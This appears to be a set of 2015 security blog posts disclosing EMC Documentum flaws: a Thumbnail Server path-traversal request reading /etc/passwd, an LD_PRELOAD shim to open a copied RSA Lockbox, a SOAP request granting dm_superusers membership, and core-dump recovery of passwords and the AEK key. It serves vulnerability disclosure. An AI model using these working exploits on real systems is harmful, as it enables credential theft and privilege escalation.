Beware of Thumbnail Server

This issue was originally filed to EMC on February 8, since I haven’t received any feedback I suppose that issue is insignificant and unimportant, so it comes to public.

Previously I already wrote that in xCP 2 EMC brought together all non-popular products in Documentum product stack (like xPlore, CTS, BAM, BPS, CIS and thumbnail server) and made those products mandatory for xCP 2 deployment. For example, below is a quote from xCP deployment guide:

Unfortunately, in most cases “non-popular” means “more buggy” and “less secure” (what do you think about inclusion such products into product stack? Is it a best practice on not?), and Thumbnail Server proves this opinion. Thumbnail Server accepts only two types of URL:

  • /thumbsrv/getThumbnail?format=msw8&object_type=dm_document&is_vdm=false – retrieves default document’s thumbnail
  • /thumbsrv/getThumbnail?path=00038444\80002.jpg&store=thumbnail_store_01&ticket=oiwDnVjAh… – retrieves real document’s thumbnail

in case of second option Thumbnail Server fails to verify path parameter:

[root@docu70dev01 ~]# GET http://192.168.2.56:8081/thumbsrv/getThumbnail?store=thumbnail_store_01\&path=0001ffd7/../../../../../../../etc/passwd \
> | head
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
[root@docu70dev01 ~]#

i.e. unauthenticated user is able to hijack arbitrary file (dfc.properties with bof registry credentials, dfc.keystore with enabled trusted login capability, AEK file, etc) from Content Server filesystem and hence gain superuser privileges.

To mitigate attack described previously Thumbnail Server has an option to verify digital signature of passed url parameters (in Installation Guide this feature described in “Providing security for thumbnail requests” paragraph, note that documentation is bit outdated). Unfortunately enabling signature verification does not work properly in recent releases because of the following length requirements: full url must not exceed 300 characters and about 200 characters are required for ticket parameter, which makes described feature unusable: documentation doesn’t forces customers to enable signature verification, but enabling it causes errors in case of long (<10 characters) FQDNs, so, it's very unlikely that customers unable this feature:

Connected to Documentum Server running Release 7.0.0140.0644  Linux.Oracle
Session id is s0
API> retrieve,c,dm_store where name='thumbnail_store_01'
...
2801ffd780000101
API> ?,c,select parent_id from dmr_content where storage_id='2801ffd780000101' enable(return_top 10)
parent_id
----------------
...
0901ffd7800ba6d1
..
(10 rows affected)
    
API> ?,c,select thumbnail_url from dm_sysobject(all) where r_object_id='0901ffd7800ba6d1'
thumbnail_url
--------------
http://localhost.localdomain:8081/thumbsrv/getThumbnail?path=....
(1 row affected)
[DM_OBJECT_W_SET_ATTR_STRING_TOO_LONG]warning:  "attempt to assign string of excessive length to attribute 0"
API> exit
Bye
 ~]$ HEAD "http://localhost.localdomain:8081/thumbsrv/getThumbnail?path=0001ffd7/80/00/02/01.jpg&store=thumbnail_store_01&ticket=Nk%2F5pSJtlTp3FlL9V8Og6tExs4cYpNJyG2fy1BEnIGJMPfTP%2FH5aMfIgXKUXNiLa0pJp6t%2FPCHd%2Fi%2F%2BDJpdA0jAkmtB9j%2FdBrBFVr6DlK%2B2EpDVXNRTCLkwsIQ%2B0wTW%2BKda7VhuZwU%2BdXJ4DfGNJ5voziUHB0%2B"
400 Bad Request
Connection: close
Date: Sat, 07 Feb 2015 17:33:06 GMT
Server: Apache-Coyote/1.1
Content-Length: 971
Content-Type: text/html;charset=utf-8
Client-Date: Sat, 07 Feb 2015 17:33:06 GMT
Client-Peer: 127.0.0.1:8081
Client-Response-Num: 1

Related error from Thumbnail Server log files:

SEVERE: getThumbnail: : [DM_TS_E_DECRYPT_TICKET] Exception occured while decrypting ticket 'Nk/5pSJtlTp3FlL9V8Og6tExs4cYpNJyG2fy1BEnIGJMPfTP/H5aMfIgXKUXNiLa0pJp6t/PCHd/i/+DJpdA0jAkmtB9j/dBrBFVr6DlK+2EpDVXNRTCLkwsIQ+0wTW+Kda7VhuZwU+dXJ4DfGNJ5voziUHB0+': null
java.lang.NullPointerException
  at com.rsa.jcm.f.eo.verify(Unknown Source)
  at com.rsa.cryptoj.o.k.engineVerify(Unknown Source)
  at java.security.Signature.verify(Signature.java:592)
  at com.documentum.thumbsrv.getThumbnail.isTicketValid(getThumbnail.java:626)
  at com.documentum.thumbsrv.getThumbnail.doGet(getThumbnail.java:319)
...

The root cause of above error is a fact that when Content Server returns value of thumbnail_url it cuts off value up to 300 characters (?bytes, note DM_OBJECT_W_SET_ATTR_STRING_TOO_LONG warning message in listing). The valid value of ticket parameter in this case should be (200 characters):

 ~]$ HEAD "http://localhost.localdomain:8081/thumbsrv/getThumbnail?path=0001ffd7/80/00/02/01.jpg&store=thumbnail_store_01&ticket=Nk%2F5pSJtlTp3FlL9V8Og6tExs4cYpNJyG2fy1BEnIGJMPfTP%2FH5aMfIgXKUXNiLa0pJp6t%2FPCHd%2Fi%2F%2BDJpdA0jAkmtB9j%2FdBrBFVr6DlK%2B2EpDVXNRTCLkwsIQ%2B0wTW%2BKda7VhuZwU%2BdXJ4DfGNJ5voziUHB0%2B%2BFaGUoY9I0NEA%3D"
200 OK
Connection: close
Date: Sat, 07 Feb 2015 17:43:53 GMT
ETag: 0001ffd7/80/00/02/01.jpg
Server: Apache-Coyote/1.1
Content-Length: 3565
Content-Type: image/jpeg
Client-Date: Sat, 07 Feb 2015 17:43:53 GMT
Client-Peer: 127.0.0.1:8081
Client-Response-Num: 1

RSA Lockbox magic :)

As was promised previously

Preparing RSA Lockbox on victim machine:

[dmadmin@docu72cs dba]$ dm_crypto_create -lockbox lockbox.lb \
> -lockboxpassphrase WSX@234edc \
> -keyname CSaek -passphrase QAZ123wsx

** Will use default algorithm **

Please wait. This will take a few seconds ...
** Successfully created key store 
     /u01/documentum/dba/secure/CSaek using algorithm AES_128_CBC
Key - CSaek uses algorithm AES_128_CBC.

Lockbox: Created /u01/documentum/dba/secure/lockbox.lb.
Created key CSaek


[dmadmin@docu72cs dba]$ ipcs

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x000005d1 807206912  dmadmin    640        1024       0

------ Semaphore Arrays --------
key        semid      owner      perms      nsems

------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages



[dmadmin@docu72cs dba]$ dm_encrypt_password -lockbox lockbox.lb \
> -passphrase QAZ123wsx -keyname CSaek \
> -docbase D72 -rdbms -encrypt d72

** Successfully encrypted password in dbpasswd.txt file

[dmadmin@docu72cs dba]$ ./dm_start_D72
starting Documentum server for repository: [D72]
with server log: [/u01/documentum/dba/log/D72.log]
server pid: 4421

[dmadmin@docu72cs dba]$ head /u01/documentum/dba/log/D72.log
.... [DM_SERVER_I_START_SERVER]info:  "Docbase D72 attempting to open"

.... [DM_SERVER_I_START_KEY_STORAGE_MODE]info:  
         "Docbase D72 is using database for cryptographic key storage"

Opening RSA Lockbox on another machine:

Related source code:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/utsname.h> 

static int (*orig_open)(char *, int) = NULL;
static int (*orig_uname) (struct utsname * buf);


int open(char * filename, int flags) {
 if (orig_open == NULL)
  orig_open = dlsym(RTLD_NEXT, "open");

 if (strcmp(filename, "/proc/version") != 0 
  && strcmp(filename, "/proc/swaps") != 0
  && strcmp(filename, "/proc/cpuinfo") != 0 
  && strcmp(filename, "/proc/partitions") != 0) {
  return orig_open(filename, flags);
 }
    
 char * home = getenv("PROC_PATH");

 if (!home) {
  return orig_open(filename, flags);
 }

 size_t newfilename_len = strlen(filename) + strlen(home) + 1;
 char * newfilename = (char*) malloc(newfilename_len);
 memset(newfilename, 0, sizeof(newfilename));
 strncat(newfilename, home, strlen(home));
 strncat(newfilename, filename, strlen(filename));
 int ret = orig_open(newfilename, flags);
 free(newfilename);
 return ret;
}

int uname(struct utsname *buf) {
 if (orig_uname == NULL)
  orig_uname = dlsym(RTLD_NEXT, "uname");

 int ret = orig_uname(buf);
 char * fakename = getenv("FAKENAME");

 if(!fakename) {
  return ret;
 }
 memset(buf->nodename, 0, sizeof(buf->nodename));
 strncpy(buf->nodename, fakename, sizeof(buf->nodename) - 1); 
 return ret;
}

CVE-2015-0518. Was it really fixed?

Three weeks ago EMC announced CVE-2015-0518:

A method in the Properties service of the D2FS web service component may allow a low privileged D2 user to manipulate group permissions and obtain superuser privileges.

You can find related PoC in Second dive into D2 security. This vulnerability is also mentioned in CERT’s spreadsheet. If you were lucky and were able to download the first version of CERT’s spreadsheet (otherwise you can find it here) you can find following EMC’s comment about this vulnerability:

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

So, besides that D2 actively uses docbase methods (which is insecure, unreliable, etc) it also does not protect its config objects from editing by regular user – I bet such weird implementation was caused by misleading performance tips from EMC:

What really happened in CVE-2015-0518? EMC fixed a PoC described in Second dive into D2 security, “new” (the previous one just truncated value of node_admin_security_group attribute in d2_options object) PoC is:

api:

API> retrieve,c,d2_options
...
000224838000012c
API> dump,c,l
...
USER ATTRIBUTES

...

  node_admin_security_group       : admingroup

...

API> set,c,l,node_user_security_group
SET> <any group attacker belongs to>
...
OK
API>
save,c,l
...
OK

soap:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
           xmlns:con="http://www.emc.com/d2fs/services/content_service"
           xmlns:com="http://www.emc.com/d2fs/models/common"
           xmlns:prop="http://www.emc.com/d2fs/services/property_service" 
           xmlns:att="http://www.emc.com/d2fs/models/attribute"
           xmlns:con1="http://www.emc.com/d2fs/models/context">
   <soapenv:Header/>
   <soapenv:Body>
      <prop:savePropertiesRequest com:id="1102248380000541" >
         <con1:context uid="2" login="hacker" password="hacker">
                <con1:repository com:id="2" repositoryName="d2" serverVersion="7"
                                 repositoryType="DOCUMENTUM" hideDomain="true"/>
            </con1:context>
         <!--Zero or more repetitions:-->
         <att:attributes name="list" type="2" value="group_membership" />
         <att:attributes name="user_group_name" type="2" value="dm_superusers" />
      </prop:savePropertiesRequest>
   </soapenv:Body>
</soapenv:Envelope>

Actually, you may ask how regular user can modify docbase object in D2 which is not exposed through D2 interface, possible options are:

  • through direct connection to Content Server, if available
  • through DFS, if available
  • through WDK application – DQL editor is not the only option to execute DQL query in WDK applications
  • through D2-Config – it has GetData servlet, which allows to execute arbitrary DQL query

A bit of real security best practice

Actually, this blog is one big best practice security guide, but I have never written about things, which are unknown or subtle for Documentum programmers or administrators. I’m talking about C programming language and Operating System. Though last time I coded in C at 2000 and I can’t say that I used to be a good programmer but I still remember some important things. When working with sensitive data you must follow two widely known rules:

  • disable the creation of dump files
  • use memset (or more secure analogue) to erase sensitive data in memory

It seems that EMC coders know neither setrlimit nor memset.

setrlimit

Instead of disabling the creation of dump files Content Server tries to increase RLIMIT_CORE:

 bin]$ . dm_set_server_env.sh
 bin]$ strace -f ./documentum \
> -docbase_name ssc_dev \
> -security acl \
> -init_file /u01/documentum/cs/dba/config/ssc_dev/server.ini \
> 2>&1 | grep rlimit| grep RLIMIT_CORE
getrlimit(RLIMIT_CORE, {rlim_cur=-4294967296, rlim_max=281474831589136}) = 0
setrlimit(RLIMIT_CORE, {rlim_cur=RLIM_INFINITY, rlim_max=281474831589136}) = 0

On my development server I found following dump files:

find $DM_HOME -name "core.*" -exec file {} \;
./bin/core.18122: ... from './documentum -docbase_name ...'
./bin/core.31925: ... from './documentum -docbase_name ...'
./bin/core.18200: ... from 'dmbasic -f./dm_event_sender.ebs ...'
./bin/core.1419: ... from 'dmbasic -f./dm_event_sender.ebs ...'

Let’s try to figure out what information we can extract from dump files

memset

passwords

Creating user with recognizable password:

API> create,c,dm_user
...
1101fd088002a900
API> set,c,l,user_name
SET> secretuser
...
OK
API> set,c,l,user_login_name
SET> secretuser
...
OK
API> set,c,l,user_password
SET> supersecretpasswordforuser
...
OK
API> set,c,l,user_source
SET> inline password
...
OK
API> save,c,l
...
OK

Connecting by previously created user:

 ~]$ iapi ssc_dev -Usecretuser -Psupersecretpasswordforuser

...

Connected to Documentum Server running Release 6.7.2220.0213  Linux.Oracle
Session id is s0
API> apply,c,,SHOW_SESSIONS
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  root_start                      : 2/21/2015 08:40:33
  root_pid                        : 6365
  shared_mem_id                   : 1839628298
  semaphore_id                    : 1171161113
  session                      [0]: 0101fd088017cd04
  db_session_id                [0]: 291
  typelockdb_session_id        [0]: -1
  tempdb_session_ids           [0]: -1
  pid                          [0]: 8570
  user_name                    [0]: secretuser
  user_authentication          [0]: Password

Acquiring dump of documentum process (pid = 8570):

~]$ gdb -p 8570
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6)
Copyright (C) 2010 Free Software Foundation, Inc.

...

(gdb) generate-core-file
Saved corefile core.8570
(gdb) q
A debugging session is active.

        Inferior 1 [process 8570] will be detached.

Quit anyway? (y or n) y
Detaching from program: documentum, process 8570

Surprise – Content Server does not erase user’s password from memory after successful authentication (it worth to mention that DFC does not erase users’ passwords too, so accessing heap dumps gives attacker a lot of information):

 ~]$ strings core.8570 | grep supersecret
supersecretpasswordforuser
 ~]$
AEK

Before checking whether dump files contain AEK key we need to get unencrypted key from AEK file:

groovy:000> import com.documentum.fc.client.impl.crypto.*
===> com.documentum.fc.client.impl.crypto.*
groovy:000> cryptoUtil = CryptoUtils.getInstance()
===> com.documentum.fc.client.impl.crypto.CryptoUtils@19d7af3
groovy:000> cryptoUtil.dump()
===> <com.documentum.fc.client.impl.crypto.CryptoUtils@19d7af3 
          m_aek=null 
          m_aekLocation=null 
          m_version=0 
          m_algorithmId=0 
          m_cipherName=null
      >
groovy:000> cryptoUtil.initCrypto()
===> null
groovy:000> cryptoUtil.dump()
===> <com.documentum.fc.client.impl.crypto.CryptoUtils@19d7af3 
           m_aek=javax.crypto.spec.SecretKeySpec@b069a19e 
           m_aekLocation=/u01/documentum/cs/dba/secure/aek.key 
           m_version=1 
           m_algorithmId=1 
           m_cipherName=DESede/CBC/PKCS5Padding
     >
groovy:000> cryptoUtil.m_aek.dump()
===> <javax.crypto.spec.SecretKeySpec@b069a19e 
            key=[120, 103, 74, -27, -48, 25, 92, 
                 -28, 69, -116, -58, -87, 58, 53, 
                 -12, -41, 82, 25, -62, 110, -4, 
                 111, 124, -72] 
            algorithm=DESede
     >
groovy:000>

So the key is “120, 103, 74, -27, -48, 25, 92, -28, 69, -116, -58, -87, 58, 53, -12, -41, 82, 25, -62, 110, -4, 111, 124, -72” or 78674ae5d0195ce4458cc6a93a35f4d75219c26efc6f7cb8 in HEX, now let’s try to find it in dump file:

 ~]$ od -x < core.8570 | grep -A1 -B1 "6778 e54a 19d0"
72076320 d2b8 09bc 0000 0000 0020 0000 0021 0000
72076340 6778 e54a 19d0 e45c 8c45 a9c6 353a d7f4
72076360 1952 6ec2 6ffc b87c d668 09bc 0051 0000
 ~]$

Oops, let’s check old ones:

 ~]$ cd $DM_HOME/bin
 bin]$ od -x < core.18122 | grep -A1 -B1 "6778 e54a 19d0"
4526200 7373 5f63 6562 0065 57f8 09ec 0000 0000
4526220 0020 0000 0021 0000 6778 e54a 19d0 e45c
4526240 8c45 a9c6 353a d7f4 1952 6ec2 6ffc b87c
 bin]$ od -x < core.31925 | grep -A1 -B1 "6778 e54a 19d0"
4526200 7373 5f63 6562 0065 57f8 09ec 0000 0000
4526220 0020 0000 0021 0000 6778 e54a 19d0 e45c
4526240 8c45 a9c6 353a d7f4 1952 6ec2 6ffc b87c
 bin]$

Oops, may best practice help us?

 dba]$ dm_crypto_change_passphrase -newpassphrase 123456

Please wait, this will take a few seconds
Successfully changed passphrase for AEK located at 
     /u01/documentum/cs/dba/secure/aek.key
 dba]$ dm_crypto_boot -passphrase 123456

Please wait, this will take a few seconds..
Setting up the key at location 
    /u01/documentum/cs/dba/secure/aek.key 
    in the shared memory region..
Operation succeeded
 dba]$ ./dm_start_ssc_dev
starting Documentum server for repository: [ssc_dev]
with server log: [/u01/documentum/cs/dba/log/ssc_dev.log]
server pid: 15929
 dba]$ gdb -p 15929
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6)

...

(gdb) generate-core-file
Saved corefile core.15929
(gdb) q
A debugging session is active.

        Inferior 1 [process 15929] will be detached.

Quit anyway? (y or n) y
Detaching from program: documentum, process 15929
 dba]$ od -x < core.15929 | grep -A1 -B1 "6778 e54a 19d0"
72077100 0000 0015 e8c8 0926 e878 0926 0021 0000
72077120 6778 e54a 19d0 e45c 8c45 a9c6 353a d7f4
72077140 1952 6ec2 6ffc b87c 0000 0000 0081 0000

Oops…

Conclusion

This is not a good idea to speculate over non-existing best practices 🙂

Dockerized xCP Dev Environment

Documentum Things

Want a new xCP environment for yours developers ? For a demo ? Use Docker!

Until now, when a developer, a consultant needs a new environment, he was given a clone of virtual machine. With Docker, it’s possible to make him build his own environment.

Andrey built an Documentum environment with Docker. Here you can find a full xCP environment.

View original post

ESA-2015-013. EMC continues kidding

After my last post ESA-2015-013 got a completely new text:

Affected Products

  • EMC Software: All EMC Documentum Content Server versions of 7.2
  • EMC Software: All EMC Documentum Content Server versions of 7.1
  • EMC Software: All EMC Documentum Content Server versions of 7.0
  • EMC Software: All EMC Documentum Content Server versions of 6.7 SP2
  • EMC Software: All EMC Documentum Content Server versions prior to 6.7 SP2

Summary
Malicious users could potentially compromise the root encryption key (also called the Application Encryption Key) in EMC Documentum Content Server when Document Content Server best practices are not followed.

Details
The root encryption key (AEK) in EMC Documentum Content Server is encrypted using a passphrase (default or user provided) and stored on the file system with operating system’s ACL protection. If best practices to change the default passphrase were not followed during or after installation, privileged users with access to IAPI/IDQL and file system could retrieve the AEK using the default passphrase and access sensitive application information.

Resolution

All customers are strongly advised to change the default passphrase that is used to encrypt AEK using dm_crypto_change_passphrase and and use dm_crypto_boot utilities at the earliest opportunity. Refer to CS Installation and Administration guides for more details on using these utilities.

Has anybody seen document named “EMC Documentum Content Server Security Best Practices”?